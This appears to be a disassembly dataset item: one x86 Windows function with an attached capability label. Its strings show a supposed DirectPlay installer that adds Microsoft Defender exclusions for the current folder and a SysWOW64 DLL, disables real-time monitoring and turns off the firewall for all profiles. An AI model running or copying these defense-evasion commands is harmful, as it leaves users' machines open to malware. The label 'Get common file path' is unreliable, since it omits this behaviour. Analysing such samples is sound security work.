Function at 0x402000
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d50c
mov eax, dword fs:[0]
push eax
sub esp, 0x1a0
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 1
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x4026aa
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x168], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x164], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020c3
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x178]
call fcn.00402940
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x12c]
call fcn.004027f0
mov edx, dword [ebp - 0x164]
cmp edx, 0x10
jb 0x40212b
mov ecx, dword [ebp - 0x178]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402121
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402774
push edx
push ecx
call fcn.00405a96
add esp, 8
push dword [ebp - 0x17c]
mov edi, dword [ebp - 0x118]
lea ecx, [ebp - 0x12c]
mov esi, dword [ebp - 0x11c]
cmp edi, 0x10
push 1
cmovae ecx, dword [ebp - 0x12c]
mov edx, esi
sub esp, 8
call fcn.00402eb0
mov ecx, eax
add esp, 0x10
cmp ecx, 0xffffffff
je 0x4021f3
cmp esi, ecx
mov dword [ebp - 0x178], 0
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x168], 0
cmovb ecx, esi
mov dword [ebp - 0x164], 0xf
cmp edi, 0x10
push ecx
cmovae eax, dword [ebp - 0x12c]
lea ecx, [ebp - 0x178]
push eax
call fcn.00402940
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x12c]
call fcn.004027f0
mov edx, dword [ebp - 0x164]
cmp edx, 0x10
jb 0x4021f3
mov ecx, dword [ebp - 0x178]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4021e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402774
push edx
push ecx
call fcn.00405a96
add esp, 8
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x1ac]
call fcn.00402870
mov esi, eax
mov byte [ebp - 4], 2
mov ecx, dword [esi + 0x14]
mov eax, ecx
mov edx, dword [esi + 0x10]
sub eax, edx
cmp eax, 0x21
jb 0x4022ae
lea eax, [edx + 0x21]
mov edi, esi
mov dword [esi + 0x10], eax
cmp ecx, 0x10
jb 0x40222d
mov edi, dword [esi]
cmp edi, 0x428785
jae 0x402262
lea eax, [edi + edx]
cmp eax, str.Add_MpPreference__ExclusionPath_
jb 0x402262
cmp edi, str.Add_MpPreference__ExclusionPath_
ja 0x402253
mov dword [ebp - 0x160], 0
jmp 0x40226c
mov eax, edi
sub eax, str.Add_MpPreference__ExclusionPath_
mov dword [ebp - 0x160], eax
jmp 0x40226c
mov dword [ebp - 0x160], 0x21
lea eax, [edx + 1]
push eax
lea ecx, [edi + 0x21]
push edi
push ecx
call fcn.00406e90
push dword [ebp - 0x160]
push str.Add_MpPreference__ExclusionPath_
push edi
call fcn.00406e90
mov edx, dword [ebp - 0x160]
mov eax, 0x21
sub eax, edx
push eax
lea eax, [edx + 0x428785]
lea ecx, [edi + edx]
push eax
push ecx
call fcn.00406e90
add esp, 0x24
jmp 0x4022cb
push 0x21
sub esp, 8
mov byte [ebp - 0x160], 0
mov ecx, esi
push dword [ebp - 0x160]
push 0x21
call fcn.00403a10
mov esi, eax
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x194], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x184], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x180]
mov eax, edx
mov ecx, dword [ebp - 0x184]
sub eax, ecx
cmp eax, 1
jb 0x402351
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x184], eax
lea eax, [ebp - 0x194]
cmovae eax, dword [ebp - 0x194]
mov word [eax + ecx], 0x27
lea eax, [ebp - 0x194]
jmp 0x402372
push 1
push 0x428760
mov byte [ebp - 0x160], 0
lea ecx, [ebp - 0x194]
push dword [ebp - 0x160]
push 1
call fcn.00402f70
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x144], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x134], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x180]
cmp edx, 0x10
jb 0x4023d8
mov ecx, dword [ebp - 0x194]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4023ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402765
push edx
push ecx
call fcn.00405a96
add esp, 8
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x198]
cmp edx, 0x10
jb 0x402431
mov ecx, dword [ebp - 0x1ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402427
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402765
push edx
push ecx
call fcn.00405a96
add esp, 8
mov edx, dword [ebp - 0x134]
mov eax, 0x7fffffff
sub eax, edx
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
cmp eax, 0x14
jb 0x40276a
cmp dword [ebp - 0x130], 0x10
lea eax, [ebp - 0x144]
mov esi, 0xf
mov dword [ebp - 0x178], 0
cmovae eax, dword [ebp - 0x144]
lea edi, [ebp - 0x178]
mov dword [ebp - 0x160], eax
lea eax, [edx + 0x14]
mov dword [ebp - 0x17c], eax
cmp eax, esi
jbe 0x402525
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4024b6
mov esi, 0x7fffffff
jmp 0x4024c0
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
xor ecx, ecx
mov eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
cmp ecx, 0x1000
jb 0x402503
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x40276f
push eax
call fcn.00405a66
add esp, 4
test eax, eax
je 0x402774
mov edx, dword [ebp - 0x134]
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x40251c
test ecx, ecx
je 0x40251a
push ecx
call fcn.00405a66
mov edx, dword [ebp - 0x134]
add esp, 4
mov edi, eax
jmp 0x40251c
xor edi, edi
mov dword [ebp - 0x178], edi
lea eax, [edx + 0x14]
movups xmm0, xmmword [str.Powershell__Command]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], esi
movups xmmword [edi], xmm0
mov eax, dword [0x428798]
push edx
push dword [ebp - 0x160]
mov dword [edi + 0x10], eax
lea eax, [edi + 0x14]
push eax
call fcn.00406e90
mov eax, dword [ebp - 0x17c]
lea ecx, [ebp - 0x15c]
add esp, 0xc
mov byte [edi + eax], 0
lea eax, [ebp - 0x178]
push eax
call fcn.004027f0
mov edx, dword [ebp - 0x164]
cmp edx, 0x10
jb 0x4025ac
mov ecx, dword [ebp - 0x178]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4025a2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402774
push edx
push ecx
call fcn.00405a96
add esp, 8
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x130]
cmp eax, 0x10
jb 0x4025ec
mov edx, dword [ebp - 0x144]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4025e2
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402774
push ecx
push edx
call fcn.00405a96
add esp, 8
push str.echo.
call fcn.00409b01
push str.echo_1.CAU_HINH_THU_MUC_AN_TOAN_CHO_DEFENDER
call fcn.00409b01
cmp dword [ebp - 0x118], 0x10
lea edx, [ebp - 0x12c]
push dword [ebp - 0x11c]
cmovae edx, dword [ebp - 0x12c]
call fcn.00403780
push eax
call fcn.00402d30
cmp dword [ebp - 0x148], 0x10
lea eax, [ebp - 0x15c]
cmovae eax, dword [ebp - 0x15c]
push eax
call fcn.00409b01
push str.Powershell__Command_Set_MpPreference__DisableRealtimeMonitoring__true
call fcn.00409b01
push str.Powershell__Command_Add_MpPreference__ExclusionPath_C:WindowsSysWOW64uavh.dll
call fcn.00409b01
push str.Powershell__Command_Set_MpPreference__DisableRealtimeMonitoring__true
call fcn.00409b01
push str.echo.
call fcn.00409b01
push str.echo.
call fcn.00409b01
push str.echo_2.CAU_HINH_TAT_FIREWALL__TUONG_LUA_
call fcn.00409b01
push str.netsh_advfirewall_set_allprofiles_state_off
call fcn.00409b01
push str.echo_3.BAT_DAU_QUA_TRINH_CAI_DAT_DIRECT_PLAY
call fcn.00409b01
push str.call_dism__Online__enable_feature__FeatureName:_DirectPlay___All
call fcn.00409b01
push str.Pause
call fcn.00409b01
add esp, 0x3c
xor esi, esi
jmp 0x4026bd
call fcn.00402a80
push eax
call fcn.00402d30
add esp, 4
mov esi, 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x4026f7
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4026ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402774
push edx
push ecx
call fcn.00405a96
add esp, 8
mov edx, dword [ebp - 0x148]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x402748
mov ecx, dword [ebp - 0x15c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40273e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402774
push edx
push ecx
call fcn.00405a96
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405a53
mov esp, ebp
pop ebp
ret
call fcn.00409ce3
call fcn.00401320
call fcn.00401250
call fcn.00409ce3
int3